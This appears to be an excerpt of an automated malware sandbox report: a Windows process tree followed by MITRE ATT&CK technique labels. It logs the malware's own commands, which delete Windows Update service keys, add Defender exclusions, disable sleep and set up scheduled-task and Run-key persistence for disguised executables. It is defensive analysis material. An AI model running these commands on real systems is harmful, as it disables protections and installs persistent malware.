    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4264
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1840
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4208
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3696
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:560
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2144
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:956
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:1636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:3616
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:3788
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2164
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1492
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:736
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1324
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3392
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:620
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4288
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1984
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:2316
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3348
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:920
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1356
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:1044
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:5112
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2168
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4984 -ip 4984
1⤵
PID:1912

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:1572

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:1204
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:2296

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:2888

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 460 -p 2316 -ip 2316
1⤵
PID:4288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 632 -ip 632
1⤵
PID:4360

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1364

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery